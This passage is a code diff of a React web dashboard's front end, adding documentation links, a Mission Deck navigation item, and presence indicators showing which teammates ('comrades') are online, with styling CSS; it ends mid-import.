||||
export default function GlobalMusicPlayer() {
|
||||
const { enabled, playing, volume, setVolume, togglePlay } = useAmbientMusic();
|
||||
const { enabled, playing, volume, setVolume, togglePlay, setPageIntensity, pageIntensity } = useAmbientMusic();
|
||||
const location = useLocation();
|
||||
const routeIntensity = resolvePageAmbientIntensity(location.pathname);
|
||||
const isDim = routeIntensity < 0.5;
|
||||
|
||||
useEffect(() => {
|
||||
setPageIntensity(routeIntensity);
|
||||
}, [routeIntensity, setPageIntensity]);
|
||||
|
||||
return (
|
||||
<div
|
||||
className="global-music-player"
|
||||
className={`global-music-player${isDim ? ' global-music-player--ambient-dim' : ''}`}
|
||||
data-sfx="off"
|
||||
data-ambient-intensity={pageIntensity.toFixed(2)}
|
||||
role="region"
|
||||
aria-label="Background music controls"
|
||||
>
|
||||
|
||||
@@ -96,3 +96,22 @@
|
||||
color: var(--text-secondary);
|
||||
line-height: 1.5;
|
||||
}
|
||||
|
||||
.help-tip-doc-link {
|
||||
display: inline-block;
|
||||
margin-top: 0.45rem;
|
||||
font-size: 0.72rem;
|
||||
font-weight: 600;
|
||||
color: var(--neon-amber);
|
||||
text-decoration: none;
|
||||
letter-spacing: 0.02em;
|
||||
}
|
||||
|
||||
.help-tip-doc-link:hover {
|
||||
color: var(--neon-cyan);
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.help-tip-popup .help-tip-doc-link {
|
||||
margin-top: 0.5rem;
|
||||
}
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import { useCallback, useEffect, useRef, useState } from 'react';
|
||||
import { createPortal } from 'react-dom';
|
||||
import { docAnchorForField } from '../help/docAnchors';
|
||||
import { FIELD_HELP } from '../help/settingHelp';
|
||||
import './HelpTip.css';
|
||||
|
||||
@@ -8,8 +9,23 @@ interface HelpTipProps {
|
||||
label?: string;
|
||||
}
|
||||
|
||||
function DocReadMoreLink({ href }: { href: string }) {
|
||||
return (
|
||||
<a
|
||||
href={href}
|
||||
className="help-tip-doc-link"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
onClick={(e) => e.stopPropagation()}
|
||||
>
|
||||
Read more →
|
||||
</a>
|
||||
);
|
||||
}
|
||||
|
||||
export function HelpTip({ field, label }: HelpTipProps) {
|
||||
const text = FIELD_HELP[field];
|
||||
const docAnchor = docAnchorForField(field);
|
||||
const triggerRef = useRef<HTMLButtonElement>(null);
|
||||
const popupRef = useRef<HTMLDivElement>(null);
|
||||
const [open, setOpen] = useState(false);
|
||||
@@ -107,6 +123,7 @@ export function HelpTip({ field, label }: HelpTipProps) {
|
||||
onMouseLeave={hide}
|
||||
>
|
||||
{text}
|
||||
{docAnchor && <DocReadMoreLink href={docAnchor} />}
|
||||
</div>,
|
||||
document.body,
|
||||
)}
|
||||
@@ -114,7 +131,9 @@ export function HelpTip({ field, label }: HelpTipProps) {
|
||||
);
|
||||
}
|
||||
|
||||
/** @deprecated Use HelpTip on the label instead — hints are shown on ? hover/click only. */
|
||||
export function FieldHint(_props: { field: string }) {
|
||||
return null;
|
||||
/** Inline doc link below a field when a wiki anchor exists. */
|
||||
export function FieldHint({ field }: { field: string }) {
|
||||
const docAnchor = docAnchorForField(field);
|
||||
if (!docAnchor) return null;
|
||||
return <DocReadMoreLink href={docAnchor} />;
|
||||
}
|
||||
|
||||
@@ -137,6 +137,24 @@
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.nav-item--docs {
|
||||
margin-top: 0.35rem;
|
||||
border: 1px solid rgba(0, 232, 245, 0.22);
|
||||
background: linear-gradient(90deg, rgba(0, 232, 245, 0.06), transparent);
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.nav-item--docs:hover {
|
||||
background: linear-gradient(90deg, rgba(0, 232, 245, 0.14), rgba(168, 62, 240, 0.06));
|
||||
border-color: rgba(0, 232, 245, 0.45);
|
||||
box-shadow: 0 0 16px rgba(0, 232, 245, 0.12);
|
||||
}
|
||||
|
||||
.mobile-more-link--docs {
|
||||
border: 1px solid rgba(0, 232, 245, 0.25);
|
||||
background: rgba(0, 232, 245, 0.06);
|
||||
}
|
||||
|
||||
.nav-item.active {
|
||||
background: linear-gradient(90deg, rgba(0, 245, 255, 0.12), transparent);
|
||||
color: var(--neon-cyan);
|
||||
@@ -169,6 +187,23 @@
|
||||
border-radius: 0 2px 2px 0;
|
||||
}
|
||||
|
||||
.nav-item--mission.active {
|
||||
background: linear-gradient(90deg, rgba(255, 140, 58, 0.18), transparent);
|
||||
color: #ff8c3a;
|
||||
border-color: rgba(255, 140, 58, 0.45);
|
||||
box-shadow: inset 0 0 24px rgba(255, 140, 58, 0.12);
|
||||
}
|
||||
|
||||
.nav-item--mission:hover {
|
||||
color: #ffb366;
|
||||
border-color: rgba(255, 140, 58, 0.35);
|
||||
}
|
||||
|
||||
.nav-glow--mission {
|
||||
background: #ff8c3a;
|
||||
box-shadow: 0 0 14px #ff8c3a, 0 0 28px rgba(255, 140, 58, 0.45);
|
||||
}
|
||||
|
||||
/* ── Matrix rain ──────────────────────────────── */
|
||||
.matrix-rain-wrap {
|
||||
/* Flex-grow to fill all space between nav and footer */
|
||||
|
||||
@@ -11,30 +11,50 @@ import SacredGeometryLayer from '../Visual/sacredGeometry/SacredGeometryLayer';
|
||||
import { SacredMotif } from '../Visual/sacredGeometry/motifs';
|
||||
import SetupBanner from '../SetupBanner';
|
||||
import { getSetupStatus } from '../../help/setupStatus';
|
||||
import { resolvePageWeather } from '../../help/pageWeather';
|
||||
import { api } from '../../api/client';
|
||||
import { usePresence } from '../../context/PresenceContext';
|
||||
import ComradeAvatar from '../Presence/ComradeAvatar';
|
||||
import type { ServerConfig } from '../../types';
|
||||
import '../Presence/Presence.css';
|
||||
import './Layout.css';
|
||||
import './MobileNav.css';
|
||||
import '../../styles/operatorDeck.css';
|
||||
|
||||
interface LayoutProps {
|
||||
children: ReactNode;
|
||||
}
|
||||
|
||||
function operatorDeckId(pathname: string): string {
|
||||
const path = pathname.split('?')[0].replace(/\/$/, '') || '/';
|
||||
if (path.startsWith('/mission-deck')) return 'mission-deck';
|
||||
if (path.startsWith('/forge') || path.startsWith('/builder')) return 'forge';
|
||||
if (path.startsWith('/crucible')) return 'crucible';
|
||||
if (path.startsWith('/emberwake') || path.startsWith('/spread')) return 'emberwake';
|
||||
if (path.startsWith('/agents')) return 'fleet';
|
||||
if (path.startsWith('/builds')) return 'builds';
|
||||
if (path.startsWith('/settings')) return 'settings';
|
||||
if (path.startsWith('/pathtracer')) return 'pathtracer';
|
||||
return 'dashboard';
|
||||
}
|
||||
|
||||
const NAV = [
|
||||
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
|
||||
{ to: '/agents', label: 'Fleet Roster', icon: 'fleet' },
|
||||
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
|
||||
{ to: '/forge', label: 'Forge', icon: 'forge' },
|
||||
{ to: '/mission-deck', label: 'Mission Deck', icon: 'mission', glow: true },
|
||||
{ to: '/builds', label: 'Builds', icon: 'builds' },
|
||||
{ to: '/emberwake', label: 'Emberwake', icon: 'ember' },
|
||||
{ to: '/guide', label: 'Field Guide', icon: 'guide' },
|
||||
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
|
||||
{ to: '/pathtracer', label: 'Path Tracer', icon: 'trace' },
|
||||
] as const;
|
||||
|
||||
const DOCS_HREF = '/docs/';
|
||||
|
||||
/** Primary tabs on iPhone bottom bar */
|
||||
const MOBILE_PRIMARY = NAV.slice(0, 4);
|
||||
/** Builds, Guide, Calibrate, Path Tracer — “More” sheet */
|
||||
/** Builds, Calibrate, Path Tracer — “More” sheet */
|
||||
const MOBILE_MORE = NAV.slice(4);
|
||||
|
||||
function NavIcon({ type }: { type: string }) {
|
||||
@@ -60,6 +80,12 @@ function NavIcon({ type }: { type: string }) {
|
||||
<path d="M8 16l-2 4 4-2" />
|
||||
</svg>
|
||||
);
|
||||
case 'mission':
|
||||
return (
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||
<path d="M13 2L3 14h8l-1 8 10-12h-8l1-8z" />
|
||||
</svg>
|
||||
);
|
||||
case 'builds':
|
||||
return (
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||
@@ -69,14 +95,6 @@ function NavIcon({ type }: { type: string }) {
|
||||
<path d="M7 4.5h10M7 10.5h10M7 16.5h10" strokeOpacity="0.35" />
|
||||
</svg>
|
||||
);
|
||||
case 'guide':
|
||||
return (
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||
<path d="M4 19.5A2.5 2.5 0 016.5 17H20" />
|
||||
<path d="M6.5 2H20v20H6.5A2.5 2.5 0 014 19.5v-15A2.5 2.5 0 016.5 2z" />
|
||||
<path d="M8 7h8M8 11h6" />
|
||||
</svg>
|
||||
);
|
||||
case 'crucible':
|
||||
return (
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||
@@ -103,6 +121,14 @@ function NavIcon({ type }: { type: string }) {
|
||||
<path d="M12 8v4" />
|
||||
</svg>
|
||||
);
|
||||
case 'docs':
|
||||
return (
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||
<path d="M4 19.5A2.5 2.5 0 016.5 17H20" />
|
||||
<path d="M6.5 2H20v20H6.5A2.5 2.5 0 014 19.5v-15A2.5 2.5 0 016.5 2z" />
|
||||
<path d="M8 7h8M8 11h6" strokeOpacity="0.55" />
|
||||
</svg>
|
||||
);
|
||||
default:
|
||||
return (
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||
@@ -185,6 +211,7 @@ function MobileTopStats() {
|
||||
export default function Layout({ children }: LayoutProps) {
|
||||
const location = useLocation();
|
||||
const isMobile = useIsMobileLayout();
|
||||
const { othersOnline, comrades } = usePresence();
|
||||
const [serverConfig, setServerConfig] = useState<ServerConfig | null>(null);
|
||||
const [moreOpen, setMoreOpen] = useState(false);
|
||||
|
||||
@@ -206,6 +233,7 @@ export default function Layout({ children }: LayoutProps) {
|
||||
}, [moreOpen]);
|
||||
|
||||
const setupStatus = getSetupStatus(serverConfig);
|
||||
const pageWeather = resolvePageWeather(location.pathname);
|
||||
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
|
||||
const mobileShortLabel: Record<string, string> = {
|
||||
'/dashboard': 'Deck',
|
||||
@@ -215,9 +243,12 @@ export default function Layout({ children }: LayoutProps) {
|
||||
};
|
||||
|
||||
return (
|
||||
<div className={`layout${isMobile ? ' layout--mobile' : ''}`}>
|
||||
<div
|
||||
className={`layout${isMobile ? ' layout--mobile' : ''}${othersOnline ? ' layout--comrades-online' : ''}`}
|
||||
data-operator-deck={operatorDeckId(location.pathname)}
|
||||
>
|
||||
{!isMobile && <CursorFire />}
|
||||
<AmbientBackground />
|
||||
<AmbientBackground weather={pageWeather} />
|
||||
<SacredGeometryLayer />
|
||||
<nav className="sidebar sidebar--desktop desktop-only">
|
||||
<div className="sidebar-header">
|
||||
@@ -238,15 +269,30 @@ export default function Layout({ children }: LayoutProps) {
|
||||
<NavLink
|
||||
key={item.to}
|
||||
to={item.to}
|
||||
className={({ isActive }) => `nav-item ${isActive ? 'active' : ''}`}
|
||||
className={({ isActive }) =>
|
||||
`nav-item${'glow' in item && item.glow ? ' nav-item--mission' : ''} ${isActive ? 'active' : ''}`
|
||||
}
|
||||
>
|
||||
<span className="nav-icon">
|
||||
<NavIcon type={item.icon} />
|
||||
</span>
|
||||
<span className="nav-label">{item.label}</span>
|
||||
{location.pathname === item.to && <span className="nav-glow" />}
|
||||
{location.pathname === item.to && (
|
||||
<span className={`nav-glow${'glow' in item && item.glow ? ' nav-glow--mission' : ''}`} />
|
||||
)}
|
||||
</NavLink>
|
||||
))}
|
||||
<a
|
||||
href={DOCS_HREF}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="nav-item nav-item--docs"
|
||||
>
|
||||
<span className="nav-icon">
|
||||
<NavIcon type="docs" />
|
||||
</span>
|
||||
<span className="nav-label">Documentation</span>
|
||||
</a>
|
||||
</div>
|
||||
|
||||
<div className="sidebar-sacred-sigil" aria-hidden>
|
||||
@@ -258,6 +304,18 @@ export default function Layout({ children }: LayoutProps) {
|
||||
|
||||
<div className="sidebar-footer">
|
||||
<FleetReadout />
|
||||
{othersOnline && (
|
||||
<div className="sidebar-comrades">
|
||||
<div className="sidebar-comrades-avatars">
|
||||
{comrades.slice(0, 4).map((c) => (
|
||||
<ComradeAvatar key={c.user} user={c.user} size="sm" />
|
||||
))}
|
||||
</div>
|
||||
<span className="sidebar-comrades-label">
|
||||
{comrades.length} comrade{comrades.length === 1 ? '' : 's'} online
|
||||
</span>
|
||||
</div>
|
||||
)}
|
||||
<div className="sidebar-sig font-tech">
|
||||
<span className="sig-love">made with <span className="sig-heart">♥</span> drjones</span>
|
||||
<span className="sig-ver">v0.0.1</span>
|
||||
@@ -300,6 +358,16 @@ export default function Layout({ children }: LayoutProps) {
|
||||
{item.label}
|
||||
</NavLink>
|
||||
))}
|
||||
<a
|
||||
href={DOCS_HREF}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="mobile-more-link mobile-more-link--docs"
|
||||
onClick={() => setMoreOpen(false)}
|
||||
>
|
||||
<NavIcon type="docs" />
|
||||
Documentation
|
||||
</a>
|
||||
</div>
|
||||
<nav className="mobile-bottom-nav" aria-label="Main navigation">
|
||||
{MOBILE_PRIMARY.map((item) => (
|
||||
|
||||
48
server/web/src/components/Presence/AlsoHere.tsx
Normal file
48
server/web/src/components/Presence/AlsoHere.tsx
Normal file
@@ -0,0 +1,48 @@
|
||||
import { usePresence } from '../../context/PresenceContext';
|
||||
import { presenceActivityLine, presencePageLabel } from '../../help/presencePages';
|
||||
import ComradeAvatar from './ComradeAvatar';
|
||||
import './Presence.css';
|
||||
|
||||
interface AlsoHereProps {
|
||||
page: string;
|
||||
}
|
||||
|
||||
export default function AlsoHere({ page }: AlsoHereProps) {
|
||||
const { comradesHere } = usePresence();
|
||||
const here = comradesHere(page);
|
||||
if (here.length === 0) return null;
|
||||
|
||||
const label = presencePageLabel(page);
|
||||
const count = here.length;
|
||||
|
||||
return (
|
||||
<div className="also-here-banner" role="status">
|
||||
<div className="also-here-beacon" aria-hidden>
|
||||
<span className="also-here-pulse-ring" />
|
||||
<span className="also-here-dot" />
|
||||
</div>
|
||||
<div className="also-here-body">
|
||||
<div className="also-here-avatars" aria-label={`${count} comrade${count === 1 ? '' : 's'} in ${label}`}>
|
||||
{here.map((c) => (
|
||||
<ComradeAvatar
|
||||
key={c.user}
|
||||
user={c.user}
|
||||
size="sm"
|
||||
title={presenceActivityLine(c.user, c.page)}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
<div className="also-here-text">
|
||||
<span className="also-here-headline">
|
||||
{count} comrade{count === 1 ? '' : 's'} in the war room
|
||||
</span>
|
||||
<span className="also-here-detail">
|
||||
Also here in <strong className="also-here-zone">{label}</strong>
|
||||
{': '}
|
||||
<span className="also-here-names">{here.map((c) => c.user).join(', ')}</span>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
24
server/web/src/components/Presence/ComradeAvatar.tsx
Normal file
24
server/web/src/components/Presence/ComradeAvatar.tsx
Normal file
@@ -0,0 +1,24 @@
|
||||
import './Presence.css';
|
||||
|
||||
export function comradeAvatarInitial(user: string): string {
|
||||
const ch = user.trim().charAt(0);
|
||||
return ch ? ch.toUpperCase() : '?';
|
||||
}
|
||||
|
||||
interface ComradeAvatarProps {
|
||||
user: string;
|
||||
size?: 'sm' | 'md';
|
||||
title?: string;
|
||||
}
|
||||
|
||||
export default function ComradeAvatar({ user, size = 'md', title }: ComradeAvatarProps) {
|
||||
return (
|
||||
<span
|
||||
className={`comrade-avatar comrade-avatar--${size}`}
|
||||
title={title}
|
||||
aria-label={title ?? user}
|
||||
>
|
||||
{comradeAvatarInitial(user)}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
38
server/web/src/components/Presence/ComradeIndicators.tsx
Normal file
38
server/web/src/components/Presence/ComradeIndicators.tsx
Normal file
@@ -0,0 +1,38 @@
|
||||
import { usePresence } from '../../context/PresenceContext';
|
||||
import { presenceActivityLine, presencePageLabel } from '../../help/presencePages';
|
||||
import ComradeAvatar from './ComradeAvatar';
|
||||
import './Presence.css';
|
||||
|
||||
export default function ComradeIndicators() {
|
||||
const { comrades } = usePresence();
|
||||
if (comrades.length === 0) return null;
|
||||
|
||||
return (
|
||||
<div className="comrade-presence" aria-label="Online comrades">
|
||||
<span className="comrade-presence-beacon" aria-hidden>
|
||||
<span className="comrade-presence-ring" />
|
||||
<span className="comrade-presence-core" />
|
||||
</span>
|
||||
<span className="comrade-presence-label">COMRADES</span>
|
||||
<div className="comrade-avatar-list">
|
||||
{comrades.map((c) => (
|
||||
<ComradeAvatar
|
||||
key={c.user}
|
||||
user={c.user}
|
||||
title={presenceActivityLine(c.user, c.page)}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
<span className="comrade-activity-text">
|
||||
{comrades.map((c, i) => (
|
||||
<span key={c.user} className="comrade-activity-line">
|
||||
{i > 0 && <span className="comrade-activity-sep"> · </span>}
|
||||
<strong className="comrade-activity-user">{c.user}</strong>
|
||||
<span className="comrade-activity-verb"> is in </span>
|
||||
<span className="comrade-activity-page">{presencePageLabel(c.page)}</span>
|
||||
</span>
|
||||
))}
|
||||
</span>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
396
server/web/src/components/Presence/Presence.css
Normal file
396
server/web/src/components/Presence/Presence.css
Normal file
@@ -0,0 +1,396 @@
|
||||
/* ── Status bar: soft pulse when comrades online ── */
|
||||
@keyframes comrade-status-pulse {
|
||||
0%,
|
||||
100% {
|
||||
box-shadow:
|
||||
0 4px 24px rgba(0, 0, 0, 0.25),
|
||||
0 0 12px rgba(61, 214, 198, 0.08),
|
||||
inset 0 -1px 0 rgba(61, 214, 198, 0.15);
|
||||
border-bottom-color: rgba(61, 214, 198, 0.18);
|
||||
}
|
||||
50% {
|
||||
box-shadow:
|
||||
0 4px 28px rgba(0, 0, 0, 0.3),
|
||||
0 0 28px rgba(61, 214, 198, 0.22),
|
||||
inset 0 -1px 0 rgba(61, 214, 198, 0.35);
|
||||
border-bottom-color: rgba(61, 214, 198, 0.38);
|
||||
}
|
||||
}
|
||||
|
||||
.system-status-bar--comrades-online {
|
||||
animation: comrade-status-pulse 3.5s ease-in-out infinite;
|
||||
border-bottom: 1px solid rgba(61, 214, 198, 0.18);
|
||||
}
|
||||
|
||||
/* ── Comrade indicators (status bar) ── */
|
||||
.comrade-presence {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.5rem;
|
||||
margin-left: auto;
|
||||
padding: 0.15rem 0.5rem;
|
||||
border-radius: 999px;
|
||||
border: 1px solid rgba(61, 214, 198, 0.2);
|
||||
background: linear-gradient(135deg, rgba(61, 214, 198, 0.06), rgba(8, 6, 4, 0.5));
|
||||
}
|
||||
|
||||
.comrade-presence-beacon {
|
||||
position: relative;
|
||||
width: 10px;
|
||||
height: 10px;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.comrade-presence-core {
|
||||
position: absolute;
|
||||
inset: 2px;
|
||||
border-radius: 50%;
|
||||
background: var(--neon-green);
|
||||
box-shadow: 0 0 8px var(--neon-green);
|
||||
}
|
||||
|
||||
.comrade-presence-ring {
|
||||
position: absolute;
|
||||
inset: -2px;
|
||||
border-radius: 50%;
|
||||
border: 1px solid rgba(61, 214, 198, 0.5);
|
||||
animation: comrade-beacon-ring 2.4s ease-out infinite;
|
||||
}
|
||||
|
||||
@keyframes comrade-beacon-ring {
|
||||
0% {
|
||||
transform: scale(0.85);
|
||||
opacity: 0.9;
|
||||
}
|
||||
70%,
|
||||
100% {
|
||||
transform: scale(1.6);
|
||||
opacity: 0;
|
||||
}
|
||||
}
|
||||
|
||||
.comrade-presence-label {
|
||||
color: var(--text-muted);
|
||||
font-size: 0.68rem;
|
||||
letter-spacing: 0.08em;
|
||||
}
|
||||
|
||||
.comrade-activity-text {
|
||||
color: var(--neon-cyan);
|
||||
font-size: 0.68rem;
|
||||
opacity: 0.95;
|
||||
max-width: 28rem;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.comrade-activity-user {
|
||||
color: var(--text-primary);
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.comrade-activity-verb {
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.comrade-activity-page {
|
||||
color: var(--neon-cyan);
|
||||
font-family: var(--font-tech);
|
||||
letter-spacing: 0.03em;
|
||||
}
|
||||
|
||||
.comrade-activity-sep {
|
||||
color: rgba(61, 214, 198, 0.45);
|
||||
}
|
||||
|
||||
.comrade-avatar-list {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
}
|
||||
|
||||
.comrade-avatar {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
min-width: 1.5rem;
|
||||
height: 1.5rem;
|
||||
padding: 0 0.35rem;
|
||||
border-radius: 999px;
|
||||
border: 1px solid rgba(61, 214, 198, 0.35);
|
||||
background: rgba(8, 20, 18, 0.9);
|
||||
color: var(--neon-cyan);
|
||||
font-size: 0.62rem;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.04em;
|
||||
position: relative;
|
||||
box-shadow: 0 0 10px rgba(61, 214, 198, 0.12);
|
||||
}
|
||||
|
||||
.comrade-avatar--sm {
|
||||
min-width: 1.25rem;
|
||||
height: 1.25rem;
|
||||
font-size: 0.55rem;
|
||||
padding: 0 0.25rem;
|
||||
}
|
||||
|
||||
.comrade-avatar::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
right: -1px;
|
||||
bottom: -1px;
|
||||
width: 7px;
|
||||
height: 7px;
|
||||
border-radius: 50%;
|
||||
background: var(--neon-green);
|
||||
box-shadow: 0 0 6px var(--neon-green);
|
||||
border: 1px solid rgba(8, 6, 4, 0.9);
|
||||
animation: comrade-online-dot 2s ease-in-out infinite;
|
||||
}
|
||||
|
||||
.comrade-avatar--sm::after {
|
||||
width: 6px;
|
||||
height: 6px;
|
||||
}
|
||||
|
||||
@keyframes comrade-online-dot {
|
||||
0%,
|
||||
100% {
|
||||
box-shadow: 0 0 4px var(--neon-green);
|
||||
}
|
||||
50% {
|
||||
box-shadow: 0 0 10px var(--neon-green);
|
||||
}
|
||||
}
|
||||
|
||||
.comrade-avatar[title] {
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
/* ── "Also here" war-room banners (Crucible, Emberwake) ── */
|
||||
.also-here-banner {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
gap: 0.65rem;
|
||||
margin: 0 0 0.75rem;
|
||||
padding: 0.55rem 0.85rem;
|
||||
border-radius: 8px;
|
||||
border: 1px solid rgba(61, 214, 198, 0.3);
|
||||
background: linear-gradient(135deg, rgba(61, 214, 198, 0.1), rgba(8, 6, 4, 0.55));
|
||||
font-size: 0.78rem;
|
||||
color: var(--text-secondary);
|
||||
box-shadow: 0 0 20px rgba(61, 214, 198, 0.06);
|
||||
animation: also-here-glow 4s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes also-here-glow {
|
||||
0%,
|
||||
100% {
|
||||
box-shadow: 0 0 16px rgba(61, 214, 198, 0.05);
|
||||
}
|
||||
50% {
|
||||
box-shadow: 0 0 24px rgba(61, 214, 198, 0.14);
|
||||
}
|
||||
}
|
||||
|
||||
.also-here-beacon {
|
||||
position: relative;
|
||||
width: 12px;
|
||||
height: 12px;
|
||||
flex-shrink: 0;
|
||||
margin-top: 0.15rem;
|
||||
}
|
||||
|
||||
.also-here-dot {
|
||||
position: absolute;
|
||||
inset: 2px;
|
||||
border-radius: 50%;
|
||||
background: var(--neon-green);
|
||||
box-shadow: 0 0 8px var(--neon-green);
|
||||
}
|
||||
|
||||
.also-here-pulse-ring {
|
||||
position: absolute;
|
||||
inset: -3px;
|
||||
border-radius: 50%;
|
||||
border: 1px solid rgba(61, 214, 198, 0.55);
|
||||
animation: comrade-beacon-ring 2.4s ease-out infinite;
|
||||
}
|
||||
|
||||
.also-here-body {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.65rem;
|
||||
flex-wrap: wrap;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.also-here-avatars {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.3rem;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.also-here-text {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.1rem;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.also-here-headline {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.68rem;
|
||||
letter-spacing: 0.06em;
|
||||
text-transform: uppercase;
|
||||
color: var(--neon-cyan);
|
||||
}
|
||||
|
||||
.also-here-detail {
|
||||
font-size: 0.76rem;
|
||||
}
|
||||
|
||||
.also-here-zone {
|
||||
color: var(--neon-cyan);
|
||||
font-family: var(--font-tech);
|
||||
letter-spacing: 0.03em;
|
||||
}
|
||||
|
||||
.also-here-names {
|
||||
color: var(--text-primary);
|
||||
font-family: var(--font-tech);
|
||||
letter-spacing: 0.03em;
|
||||
}
|
||||
|
||||
/* ── Emberwake notes typing indicator ── */
|
||||
.emberwake-typing-banner {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.55rem;
|
||||
margin-bottom: 0.5rem;
|
||||
padding: 0.45rem 0.75rem;
|
||||
border-radius: 8px;
|
||||
border: 1px solid rgba(255, 107, 44, 0.4);
|
||||
background: linear-gradient(90deg, rgba(255, 107, 44, 0.12), rgba(8, 6, 4, 0.45));
|
||||
font-size: 0.78rem;
|
||||
color: var(--text-secondary);
|
||||
animation: emberwake-typing-pulse 2s ease-in-out infinite;
|
||||
box-shadow: 0 0 18px rgba(255, 107, 44, 0.1);
|
||||
}
|
||||
|
||||
.emberwake-typing-body {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.emberwake-typing-cursor {
|
||||
display: inline-block;
|
||||
width: 2px;
|
||||
height: 0.9em;
|
||||
background: var(--neon-amber);
|
||||
margin-left: 2px;
|
||||
animation: emberwake-cursor-blink 1s step-end infinite;
|
||||
}
|
||||
|
||||
.typing-dots {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 3px;
|
||||
margin-left: 4px;
|
||||
vertical-align: middle;
|
||||
}
|
||||
|
||||
.typing-dots span {
|
||||
width: 4px;
|
||||
height: 4px;
|
||||
border-radius: 50%;
|
||||
background: var(--neon-amber);
|
||||
animation: typing-dot-bounce 1.2s ease-in-out infinite;
|
||||
}
|
||||
|
||||
.typing-dots span:nth-child(2) {
|
||||
animation-delay: 0.15s;
|
||||
}
|
||||
|
||||
.typing-dots span:nth-child(3) {
|
||||
animation-delay: 0.3s;
|
||||
}
|
||||
|
||||
@keyframes typing-dot-bounce {
|
||||
0%,
|
||||
60%,
|
||||
100% {
|
||||
transform: translateY(0);
|
||||
opacity: 0.45;
|
||||
}
|
||||
30% {
|
||||
transform: translateY(-3px);
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes emberwake-typing-pulse {
|
||||
0%,
|
||||
100% {
|
||||
opacity: 0.88;
|
||||
box-shadow: 0 0 12px rgba(255, 107, 44, 0.08);
|
||||
}
|
||||
50% {
|
||||
opacity: 1;
|
||||
box-shadow: 0 0 22px rgba(255, 107, 44, 0.18);
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes emberwake-cursor-blink {
|
||||
0%,
|
||||
100% {
|
||||
opacity: 1;
|
||||
}
|
||||
50% {
|
||||
opacity: 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* ── Layout sidebar glow when comrades online ── */
|
||||
@keyframes sidebar-comrade-glow {
|
||||
0%,
|
||||
100% {
|
||||
box-shadow: inset -1px 0 0 rgba(61, 214, 198, 0.12), 4px 0 20px rgba(61, 214, 198, 0.04);
|
||||
}
|
||||
50% {
|
||||
box-shadow: inset -1px 0 0 rgba(61, 214, 198, 0.28), 4px 0 32px rgba(61, 214, 198, 0.1);
|
||||
}
|
||||
}
|
||||
|
||||
.layout--comrades-online .sidebar--desktop {
|
||||
animation: sidebar-comrade-glow 4s ease-in-out infinite;
|
||||
}
|
||||
|
||||
.sidebar-comrades {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.4rem;
|
||||
margin: 0.35rem 0 0;
|
||||
padding: 0.3rem 0.4rem;
|
||||
border-radius: 6px;
|
||||
border: 1px solid rgba(61, 214, 198, 0.18);
|
||||
background: rgba(61, 214, 198, 0.04);
|
||||
}
|
||||
|
||||
.sidebar-comrades-avatars {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.2rem;
|
||||
}
|
||||
|
||||
.sidebar-comrades-label {
|
||||
font-size: 0.62rem;
|
||||
color: var(--neon-cyan);
|
||||
font-family: var(--font-tech);
|
||||
letter-spacing: 0.04em;
|
||||
opacity: 0.9;
|
||||
}
|
||||
@@ -1,5 +1,5 @@
|
||||
import { useEffect, useState, type ReactNode } from 'react';
|
||||
import type { PublicBuildDTO } from '../types';
|
||||
import type { PublicBuildDTO, PublicBuildsResponse } from '../types';
|
||||
import {
|
||||
